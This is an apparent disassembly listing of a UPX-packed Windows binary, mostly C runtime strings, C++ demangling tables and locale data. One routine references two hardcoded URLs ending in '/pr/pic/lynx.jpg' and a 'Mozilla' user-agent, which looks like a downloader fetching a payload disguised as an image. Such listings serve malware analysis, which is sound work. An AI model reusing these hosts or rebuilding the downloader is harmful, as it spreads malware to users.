aFlsalloc	db 'FlsAlloc',0         ; DATA XREF: sub_404A60+22o
		align 4
off_40C274	dd offset dword_40FE30	; DATA XREF: sub_404CDE+D4o
		dd offset dword_40FE88
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: sub_40556D+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_40556Do
aRuntimeError	db 'runtime error ',0
		align 4
		db 0Dh,0Ah,0
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 4
aSingError	db 'SING error',0Dh,0Ah,0
		align 4
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 10h
aR6034AnApplica	db 'R6034',0Dh,0Ah
		db 'An application has made an attempt to load the C runtime library '
		db 'incorrectly.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 10h
aR6033AttemptTo	db 'R6033',0Dh,0Ah
		db '- Attempt to use MSIL code from this assembly during native code '
		db 'initialization',0Ah
		db 'This indicates a bug in your application. It is most likely the r'
		db 'esult of calling an MSIL-compiled (/clr) function from a native c'
		db 'onstructor or from DllMain.',0Dh,0Ah,0
		align 4
aR6032NotEnough	db 'R6032',0Dh,0Ah
		db '- not enough space for locale information',0Dh,0Ah,0
		align 10h
aR6031AttemptTo	db 'R6031',0Dh,0Ah
		db '- Attempt to initialize the CRT more than once.',0Ah
		db 'This indicates a bug in your application.',0Dh,0Ah,0
		align 4
aR6030CrtNotIni	db 'R6030',0Dh,0Ah
		db '- CRT not initialized',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: UPX1:off_40F204o
		db '- floating point support not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_405F23+157o
		align 10h
asc_40C820	db 0Ah			; DATA XREF: sub_405F23:loc_406033o
		db 0Ah,0
		align 4
a___		db '...',0              ; DATA XREF: sub_405F23+E8o
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_405F23+A3o
		align 10h
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_405F23+5Bo
		db 0Ah
		db 'Program: ',0
		align 4
off_40C85C	dd offset sub_406CDC	; DATA XREF: sub_4058D0+F1r
					; sub_4058D0+FAo ...
		dd offset dword_40DBE4
off_40C864	dd offset loc_406AF4	; DATA XREF: UPX0:00406AE9o
					; UPX0:00406AF7o ...
		dd offset sub_4024C5
dword_40C86C	dd 20646162h, 65637865h, 6F697470h, 6Eh, 0dword_40C880	dd 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h
		dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h
		dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h
		dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh
		dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h
		dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h
		dd 7C7B7A79h, 7F7E7Dh, 3Dh
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_409843+53o
		align 4
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_409843+44o
		align 4
aCompleteObject	db ' Complete Object Locator',27h,0 ; DATA XREF: UPX0:0040CF14o
		align 4
aClassHierarchy	db ' Class Hierarchy Descriptor',27h,0 ; DATA XREF: UPX0:0040CF10o
		align 4
aBaseClassArray	db ' Base Class Array',27h,0 ; DATA XREF: UPX0:0040CF0Co
		align 4
aBaseClassDescr	db ' Base Class Descriptor at (',0 ; DATA XREF: UPX0:0040CF08o
aTypeDescriptor	db ' Type Descriptor',27h,0 ; DATA XREF: UPX0:0040CF04o
		align 4
aLocalStaticThr	db '`local static thread guard',27h,0 ; DATA XREF: UPX1:0040D050o
aManagedVectorC	db '`managed vector copy constructor iterator',27h,0
					; DATA XREF: UPX1:0040D04Co
		align 4
aVectorVbaseCop	db '`vector vbase copy constructor iterator',27h,0
					; DATA XREF: UPX1:0040D048o
		align 10h
aVectorCopyCons	db '`vector copy constructor iterator',27h,0
		align 4
aDynamicAtexitD	db '`dynamic atexit destructor for ',27h,0
		align 4
aDynamicInitial	db '`dynamic initializer for ',27h,0
		align 4
aEhVectorVbaseC	db '`eh vector vbase copy constructor iterator',27h,0
aEhVectorCopyCo	db '`eh vector copy constructor iterator',27h,0
		align 4
aManagedVectorD	db '`managed vector destructor iterator',27h,0
		align 10h
aManagedVecto_0	db '`managed vector constructor iterator',27h,0
		align 4
aPlacementDelet	db '`placement delete[] closure',27h,0
		align 4
aPlacementDel_0	db '`placement delete closure',27h,0
		align 4
aOmniCallsig	db '`omni callsig',27h,0
		align 4
aDelete		db ' delete[]',0
		align 10h
aNew		db ' new[]',0
		align 4
aLocalVftableCo	db '`local vftable constructor closure',27h,0
aLocalVftable	db '`local vftable',27h,0
aRtti		db '`RTTI',0
		align 4
aEh		db '`EH',0
aUdtReturning	db '`udt returning',27h,0
aCopyConstructo	db '`copy constructor closure',27h,0 ; DATA XREF: UPX1:off_40D000o
		align 4
aEhVectorVbas_0	db '`eh vector vbase constructor iterator',27h,0 ; DATA XREF: UPX0:0040CFFCo
		align 4
aEhVectorDestru	db '`eh vector destructor iterator',27h,0 ; DATA XREF: UPX0:0040CFF8o
aEhVectorConstr	db '`eh vector constructor iterator',27h,0 ; DATA XREF: UPX0:0040CFF4o
		align 10h
aVirtualDisplac	db '`virtual displacement map',27h,0 ; DATA XREF: UPX0:0040CFF0o
		align 4
aVectorVbaseCon	db '`vector vbase constructor iterator',27h,0 ; DATA XREF: UPX0:0040CFECo
aVectorDestruct	db '`vector destructor iterator',27h,0 ; DATA XREF: UPX0:0040CFE8o
		align 10h
aVectorConstruc	db '`vector constructor iterator',27h,0 ; DATA XREF: UPX0:0040CFE4o
		align 10h
aScalarDeleting	db '`scalar deleting destructor',27h,0 ; DATA XREF: UPX0:0040CFE0o
		align 10h
aDefaultConstru	db '`default constructor closure',27h,0 ; DATA XREF: UPX0:0040CFDCo
		align 10h
aVectorDeleting	db '`vector deleting destructor',27h,0 ; DATA XREF: UPX0:0040CFD8o
		align 10h
aVbaseDestructo	db '`vbase destructor',27h,0 ; DATA XREF: UPX0:0040CFD4o
		align 4
aString		db '`string',27h,0      ; DATA XREF: UPX0:0040CFD0o
		align 10h
aLocalStaticGua	db '`local static guard',27h,0 ; DATA XREF: UPX0:0040CFCCo
		align 4
aTypeof		db '`typeof',27h,0      ; DATA XREF: UPX0:0040CFC8o
		align 4
aVcall		db '`vcall',27h,0       ; DATA XREF: UPX0:0040CFC4o
aVbtable	db '`vbtable',27h,0     ; DATA XREF: UPX0:0040CFC0o
		align 4
aVftable	db '`vftable',27h,0     ; DATA XREF: UPX0:0040CFBCo
		align 4
asc_40CDB4	db '^=',0               ; DATA XREF: UPX0:0040CFB8o
		align 4
asc_40CDB8	db '|=',0               ; DATA XREF: UPX0:0040CFB4o
		align 4
asc_40CDBC	db '&=',0               ; DATA XREF: UPX0:0040CFB0o
		align 10h
asc_40CDC0	db '<<=',0              ; DATA XREF: UPX0:0040CFACo
asc_40CDC4	db '>>=',0              ; DATA XREF: UPX0:0040CFA8o
asc_40CDC8	db '%=',0               ; DATA XREF: UPX0:0040CFA4o
		align 4
asc_40CDCC	db '/=',0               ; DATA XREF: UPX0:0040CFA0o
		align 10h
asc_40CDD0	db '-=',0               ; DATA XREF: UPX0:0040CF9Co
		align 4
asc_40CDD4	db '+=',0               ; DATA XREF: UPX0:0040CF98o
		align 4
asc_40CDD8	db '*=',0               ; DATA XREF: UPX0:0040CF94o
		align 4
asc_40CDDC	db '||',0               ; DATA XREF: UPX0:0040CF90o
		align 10h
asc_40CDE0	db '&&',0               ; DATA XREF: UPX0:0040CF8Co
		align 4
asc_40CDE4:				; DATA XREF: UPX0:0040CF88o
		unicode	0, <|>,0
asc_40CDE8:				; DATA XREF: UPX0:0040CF84o
		unicode	0, <^>,0
asc_40CDEC:				; DATA XREF: UPX0:0040CF80o
		unicode	0, <~>,0
asc_40CDF0	db '()',0               ; DATA XREF: UPX0:0040CF7Co
		align 4
asc_40CDF4:				; DATA XREF: UPX0:0040CF78o
		unicode	0, <,>,0
asc_40CDF8	db '>=',0               ; DATA XREF: UPX0:0040CF74o
		align 4
asc_40CDFC:				; DATA XREF: UPX0:0040CF70o
		dw 3Eh
		unicode	0, <>,0
asc_40CE00	db '<=',0               ; DATA XREF: UPX0:0040CF6Co
		align 4
asc_40CE04:				; DATA XREF: UPX0:0040CF68o
		dw 3Ch
		unicode	0, <>,0
asc_40CE08:				; DATA XREF: UPX0:0040CF64o
		unicode	0, <%>,0
asc_40CE0C:				; DATA XREF: UPX0:0040CF60o
		unicode	0, </>,0
asc_40CE10	db '->*',0              ; DATA XREF: UPX0:0040CF5Co
asc_40CE14:				; DATA XREF: UPX0:0040CF58o
		unicode	0, <&>,0
asc_40CE18:				; DATA XREF: UPX0:0040CF54o
		unicode	0, <+>,0
asc_40CE1C:				; DATA XREF: UPX0:0040CF50o
		unicode	0, <->,0
asc_40CE20	db '--',0               ; DATA XREF: UPX0:0040CF4Co
		align 4
asc_40CE24	db '++',0               ; DATA XREF: UPX0:0040CF48o
		align 4
asc_40CE28:				; DATA XREF: UPX0:0040CF44o
		unicode	0, <*>,0
asc_40CE2C	db '->',0               ; DATA XREF: UPX0:0040CF40o
		align 10h
aOperator	db 'operator',0         ; DATA XREF: UPX0:0040CF3Co
		align 4
asc_40CE3C	db '[]',0               ; DATA XREF: UPX0:0040CF38o
		align 10h
asc_40CE40	db '!=',0               ; DATA XREF: UPX0:0040CF34o
		align 4
asc_40CE44	db '==',0               ; DATA XREF: UPX0:0040CF30o
		align 4
asc_40CE48:				; DATA XREF: UPX0:0040CF2Co
		unicode	0, <!>,0
asc_40CE4C	db '<<',0               ; DATA XREF: UPX0:0040CF28o
		align 10h
asc_40CE50	db '>>',0               ; DATA XREF: UPX0:0040CF24o
		align 4
aDelete_0	db ' delete',0          ; DATA XREF: UPX0:0040CF1Co
aNew_0		db ' new',0             ; DATA XREF: UPX0:0040CF18o
		align 4
a__unaligned	db '__unaligned',0      ; DATA XREF: UPX0:0040CEFCo
a__restrict	db '__restrict',0       ; DATA XREF: UPX0:0040CEF8o
		align 4
; a__ptr64
a__ptr64	db '__ptr64',0          ; DATA XREF: UPX0:0040CEF4o
a__clrcall	db '__clrcall',0        ; DATA XREF: UPX0:0040CEF0o
		align 10h
a__fastcall	db '__fastcall',0       ; DATA XREF: UPX0:0040CEECo
		align 4
a__thiscall	db '__thiscall',0       ; DATA XREF: UPX0:0040CEE8o
		align 4
a__stdcall	db '__stdcall',0        ; DATA XREF: UPX0:0040CEE4o
		align 4
a__pascal	db '__pascal',0         ; DATA XREF: UPX0:0040CEE0o
		align 10h
a__cdecl	db '__cdecl',0          ; DATA XREF: UPX0:0040CEDCo
a__based	db '__based(',0         ; DATA XREF: UPX0:0040CED8o
		align 8
		dd offset a__based	; "__based("
		dd offset a__cdecl	; "__cdecl"
		dd offset a__pascal	; "__pascal"
		dd offset a__stdcall	; "__stdcall"
		dd offset a__thiscall	; "__thiscall"
		dd offset a__fastcall	; "__fastcall"
		dd offset a__clrcall	; "__clrcall"
		dd offset a__ptr64	; "__ptr64"
		dd offset a__restrict	; "__restrict"
		dd offset a__unaligned	; "__unaligned"
		dd offset byte_40DA4F
		dd offset aTypeDescriptor ; " Type Descriptor'"
		dd offset aBaseClassDescr ; " Base Class Descriptor at ("
		dd offset aBaseClassArray ; " Base Class Array'"
		dd offset aClassHierarchy ; " Class Hierarchy Descriptor'"
		dd offset aCompleteObject ; " Complete Object Locator'"
		dd offset aNew_0	; " new"
		dd offset aDelete_0	; " delete"
		dd offset dword_40C880+80h
		dd offset asc_40CE50	; ">>"
		dd offset asc_40CE4C	; "<<"
		dd offset asc_40CE48	; "!"
		dd offset asc_40CE44	; "=="
		dd offset asc_40CE40	; "!="
		dd offset asc_40CE3C	; "[]"
		dd offset aOperator	; "operator"
		dd offset asc_40CE2C	; "->"
		dd offset asc_40CE28	; "*"
		dd offset asc_40CE24	; "++"
		dd offset asc_40CE20	; "--"
		dd offset asc_40CE1C	; "-"
		dd offset asc_40CE18	; "+"
		dd offset asc_40CE14	; "&"
		dd offset asc_40CE10	; "->*"
		dd offset asc_40CE0C	; "/"
		dd offset asc_40CE08	; "%"
		dd offset asc_40CE04	; "<"
		dd offset asc_40CE00	; "<="
		dd offset asc_40CDFC	; ">"
		dd offset asc_40CDF8	; ">="
		dd offset asc_40CDF4	; ","
		dd offset asc_40CDF0	; "()"
		dd offset asc_40CDEC	; "~"
		dd offset asc_40CDE8	; "^"
		dd offset asc_40CDE4	; "|"
		dd offset asc_40CDE0	; "&&"
		dd offset asc_40CDDC	; "||"
		dd offset asc_40CDD8	; "*="
		dd offset asc_40CDD4	; "+="
		dd offset asc_40CDD0	; "-="
		dd offset asc_40CDCC	; "/="
		dd offset asc_40CDC8	; "%="
		dd offset asc_40CDC4	; ">>="
		dd offset asc_40CDC0	; "<<="
		dd offset asc_40CDBC	; "&="
		dd offset asc_40CDB8	; "|="
		dd offset asc_40CDB4	; "^="
		dd offset aVftable	; "`vftable'"
		dd offset aVbtable	; "`vbtable'"
		dd offset aVcall	; "`vcall'"
		dd offset aTypeof	; "`typeof'"
		dd offset aLocalStaticGua ; "`local static guard'"
		dd offset aString	; "`string'"
		dd offset aVbaseDestructo ; "`vbase destructor'"
		dd offset aVectorDeleting ; "`vector deleting destructor'"
		dd offset aDefaultConstru ; "`default constructor closure'"
		dd offset aScalarDeleting ; "`scalar deleting destructor'"
		dd offset aVectorConstruc ; "`vector constructor iterator'"
		dd offset aVectorDestruct ; "`vector destructor	iterator'"
		dd offset aVectorVbaseCon ; "`vector vbase constructor iterator'"
		dd offset aVirtualDisplac ; "`virtual displacement map'"
		dd offset aEhVectorConstr ; "`eh vector	constructor iterator'"
		dd offset aEhVectorDestru ; "`eh vector	destructor iterator'"
		dd offset aEhVectorVbas_0 ; "`eh vector	vbase constructor iterator'"
UPX0		ends

; Section 2. (virtual address 0000D000)
; Virtual size			: 00007000 (  28672.)
; Section size in file		: 00007000 (  28672.)
; Offset to raw	data for section: 0000D000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 40D000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
off_40D000	dd offset aCopyConstructo ; DATA XREF: start+1o
					; "`copy constructor closure'"
; ---------------------------------------------------------------------------
		fmul	st, st(3)
		inc	eax
		add	ah, dl
		retf
; ---------------------------------------------------------------------------
		inc	eax
		add	ah, cl
		retf
; ---------------------------------------------------------------------------
		inc	eax
		add	[ebx+ecx*8-3467FFC0h], bh
		inc	eax
		add	[eax-7BFFBF35h], dl
		retf
; ---------------------------------------------------------------------------
		inc	eax
		add	[ebx+ecx*8+40h], dh
		add	[eax-35h], bl
		inc	eax
		add	[eax], bh
		retf
; ---------------------------------------------------------------------------
		inc	eax
		add	[eax], dl
		retf
; ---------------------------------------------------------------------------
		inc	eax
		add	al, ch
		retf	40h
; ---------------------------------------------------------------------------
		ror	dl, 40h
		add	[edx+ecx*8-3587FFC0h], dl
		inc	eax
		add	[edx+ecx*8+40h], dl
		add	[eax], dh
		retf	40h
; ---------------------------------------------------------------------------
		dd offset aVectorVbaseCop ; "`vector vbase copy	constructor iterator"...
		dd offset aManagedVectorC ; "`managed vector copy constructor iterat"...
		dd offset aLocalStaticThr ; "`local static thread guard'"
		dd offset byte_40DA4F
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: sub_409A5B+C2o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: sub_409A5B+AAo
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_409A5B+6Eo
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_409A5B+59o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_409A5B+43o
aUser32_dll	db 'USER32.DLL',0       ; DATA XREF: sub_409A5B+28o
		align 4
		dd 40h dup(0)
asc_40D1C8:				; DATA XREF: UPX1:0040F598o
					; UPX1:0040FB14o
		unicode	0, <	     (((((		    H>
		dw 10h
		dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
		dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
		dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
		dd 100010h, 200010h, 40h dup(0)
dword_40D3C8	dd 200000h	aHH:					; DATA XREF: UPX1:off_40F4C0o
		unicode	0, <	    h((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(1810181h), 0Ah	dup(1010101h), 3 dup(100010h)
		dd 3 dup(1820182h), 0Ah	dup(1020102h), 2 dup(100010h)
		dd 10h dup(200020h), 480020h, 8	dup(100010h), 140010h
		dd 100014h, 2 dup(100010h), 100014h, 2 dup(100010h), 1010010h
		dd 0Bh dup(1010101h), 1010010h,	3 dup(1010101h), 0Ch dup(1020102h)
		dd 1020010h, 3 dup(1020102h), 1010102h,	0
dword_40D5D0	dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
		dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h,	0A7A6A5A4h
		dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
		dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
		dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
		dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
		dd 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h, 0B0A0908h
		dd 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h, 1F1E1D1Ch
		dd 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch, 33323130h
		dd 37363534h, 3B3A3938h, 3F3E3D3Ch, 63626140h, 67666564h
		dd 6B6A6968h, 6F6E6D6Ch, 73727170h, 77767574h, 5B7A7978h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h
		dd 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h, 0E7E6E5E4h
		dd 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h, 0FBFAF9F8h
		dd 0FFFEFDFCh, 83828180h, 87868584h, 8B8A8988h,	8F8E8D8Ch
		dd 93929190h, 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h
		dd 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h
		dd 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h
		dd 0CFCECDCCh, 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F7F6F5F4h, 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h
		dd 0B0A0908h, 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h
		dd 1F1E1D1Ch, 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch
		dd 33323130h, 37363534h, 3B3A3938h, 3F3E3D3Ch, 43424140h
		dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h
		dd 5B5A5958h, 5F5E5D5Ch, 43424160h, 47464544h, 4B4A4948h
		dd 4F4E4D4Ch, 53525150h, 57565554h, 7B5A5958h, 7F7E7D7Ch
		dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
		dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h,	0A7A6A5A4h
		dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
		dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
		dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
		dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
		dd 0FBFAF9F8h, 0FFFEFDFCh, 6D3A4848h, 73733A6Dh, 0
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: UPX1:0040FBC4o
aMmDdYy		db 'MM/dd/yy',0         ; DATA XREF: UPX1:0040FBC0o
		align 4
aPm		db 'PM',0               ; DATA XREF: UPX1:0040FBBCo
		align 10h
aAm		db 'AM',0               ; DATA XREF: UPX1:0040FBB8o
		align 4
aDecember	db 'December',0         ; DATA XREF: UPX1:0040FBB4o
		align 10h
aNovember	db 'November',0         ; DATA XREF: UPX1:0040FBB0o
		align 4
aOctober	db 'October',0          ; DATA XREF: UPX1:0040FBACo
aSeptember	db 'September',0        ; DATA XREF: UPX1:0040FBA8o
		align 10h
aAugust		db 'August',0           ; DATA XREF: UPX1:0040FBA4o
		align 4
aJuly		db 'July',0             ; DATA XREF: UPX1:0040FBA0o
		align 10h
aJune		db 'June',0             ; DATA XREF: UPX1:0040FB9Co
		align 4
aApril		db 'April',0            ; DATA XREF: UPX1:0040FB94o
		align 10h
aMarch		db 'March',0            ; DATA XREF: UPX1:0040FB90o
		align 4
aFebruary	db 'February',0         ; DATA XREF: UPX1:0040FB8Co
		align 4
aJanuary	db 'January',0          ; DATA XREF: UPX1:0040FB88o
aDec		db 'Dec',0              ; DATA XREF: UPX1:0040FB84o
aNov		db 'Nov',0              ; DATA XREF: UPX1:0040FB80o
aOct		db 'Oct',0              ; DATA XREF: UPX1:0040FB7Co
aSep		db 'Sep',0              ; DATA XREF: UPX1:0040FB78o
aAug		db 'Aug',0              ; DATA XREF: UPX1:0040FB74o
aJul		db 'Jul',0              ; DATA XREF: UPX1:0040FB70o
aJun		db 'Jun',0              ; DATA XREF: UPX1:0040FB6Co
aMay		db 'May',0              ; DATA XREF: UPX1:0040FB68o
					; UPX1:0040FB98o
aApr		db 'Apr',0              ; DATA XREF: UPX1:0040FB64o
aMar		db 'Mar',0              ; DATA XREF: UPX1:0040FB60o
aFeb		db 'Feb',0              ; DATA XREF: UPX1:0040FB5Co
aJan		db 'Jan',0              ; DATA XREF: UPX1:0040FB58o
aSaturday	db 'Saturday',0         ; DATA XREF: UPX1:0040FB54o
		align 4
aFriday		db 'Friday',0           ; DATA XREF: UPX1:0040FB50o
		align 10h
aThursday	db 'Thursday',0         ; DATA XREF: UPX1:0040FB4Co
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: UPX1:0040FB48o
		align 4
aTuesday	db 'Tuesday',0          ; DATA XREF: UPX1:0040FB44o
aMonday		db 'Monday',0           ; DATA XREF: UPX1:0040FB40o
		align 4
aSunday		db 'Sunday',0           ; DATA XREF: UPX1:0040FB3Co
		align 10h
aSat		db 'Sat',0              ; DATA XREF: UPX1:0040FB38o
aFri		db 'Fri',0              ; DATA XREF: UPX1:0040FB34o
aThu		db 'Thu',0              ; DATA XREF: UPX1:0040FB30o
aWed		db 'Wed',0              ; DATA XREF: UPX1:0040FB2Co
aTue		db 'Tue',0              ; DATA XREF: UPX1:0040FB28o
aMon		db 'Mon',0              ; DATA XREF: UPX1:0040FB24o
aSun		db 'Sun',0              ; DATA XREF: UPX1:off_40FB20o
dword_40D9FC	dd 0							; sub_40A460+25o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 10h
aBadAllocation	db 'bad allocation',0   ; DATA XREF: UPX1:0040F000o
					; UPX1:off_40F030o ...
byte_40DA4F	db 0			; DATA XREF: sub_4010EC+55o
					; sub_40625A+1Bo ...
dword_40DA50	dd 504D54h	aHttpThemirabel	db 'http://themirabellaguide.com/pr/pic/lynx.jpg',0
					; DATA XREF: sub_40137A+26o
		align 4
aHttpYourmirabe	db 'http://yourmirabelladirect.com/pr/pic/lynx.jpg',0
					; DATA XREF: sub_40137A+41o
		align 4
aListTTooLong	db 'list<T> too long',0 ; DATA XREF: sub_401548+2Ao
					; sub_401606+2Bo
		align 4
aMozilla	db 'Mozilla',0          ; DATA XREF: sub_401C1F+29o
					; UPX1:0040FD50o
		dd offset dword_40DD4C
off_40DAD4	dd offset sub_401E45	; DATA XREF: sub_401C1F+87o
					; sub_401C1F+102o ...
		dd offset sub_401E05
		dd offset sub_401D4E
dword_40DAE0	dd 35188CDAh, 5D47B31Ah, 9AE41FA8h, 0D246A135h,	48h, 0Eh dup(0)
					; DATA XREF: sub_401E85+64o
		dd offset dword_40F060
		dd offset dword_40DDA0
		dd 0Fh
dword_40DB38	dd 3 dup(0)			dd offset off_40F004
		dd offset dword_40DB4C
dword_40DB4C	dd 2 dup(0)			dd 3, 40DB5Ch, 40DB6Ch,	40DCB0h, 40DCFCh, 0
		dd offset off_40F004
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	40DB4Ch
dword_40DB88	dd 3 dup(0)			dd offset off_40FD9C
		dd offset dword_40DD18
dword_40DB9C	dd 3 dup(0)			dd offset off_40F044
		dd offset dword_40DBB0
dword_40DBB0	dd 2 dup(0)			dd 1, 40DBC0h, 40DBC8h,	0
		dd offset off_40F044
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	40DBB0h
dword_40DBE4	dd 3 dup(0)			dd offset off_40F380
		dd offset dword_40DBF8
dword_40DBF8	dd 2 dup(0)			dd 2, 40DC08h, 40DC14h,	40DCFCh, 0
		dd offset off_40F380
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	40DBF8h
dword_40DC30	dd 3 dup(0)			dd offset off_40FD5C
		dd offset dword_40DC44
dword_40DC44	dd 2 dup(0)			dd 3, 40DC54h, 40DC64h,	40DCB0h, 40DCFCh, 0
		dd offset off_40FD5C
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	40DC44h
dword_40DC80	dd 3 dup(0)			dd offset off_40FD7C
		dd offset dword_40DC94
dword_40DC94	dd 2 dup(0)			dd 2, 40DCA4h, 40DCB0h,	40DCFCh, 0
		dd offset off_40FD7C
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	40DC94h
dword_40DCCC	dd 3 dup(0)			dd offset off_40FDB8
		dd offset dword_40DCE0
dword_40DCE0	dd 2 dup(0)			dd 2, 40DCF0h, 40DD30h,	40DCFCh, 0
		dd offset off_40FD9C
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	40DD18h
dword_40DD18	dd 2 dup(0)			dd 1, 40DD28h, 40DCFCh,	0
		dd offset off_40FDB8
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	40DCE0h
dword_40DD4C	dd 3 dup(0)			dd offset off_40FDD4
		dd offset dword_40DD60
dword_40DD60	dd 2 dup(0)			dd 1, 40DD70h, 40DD78h,	0
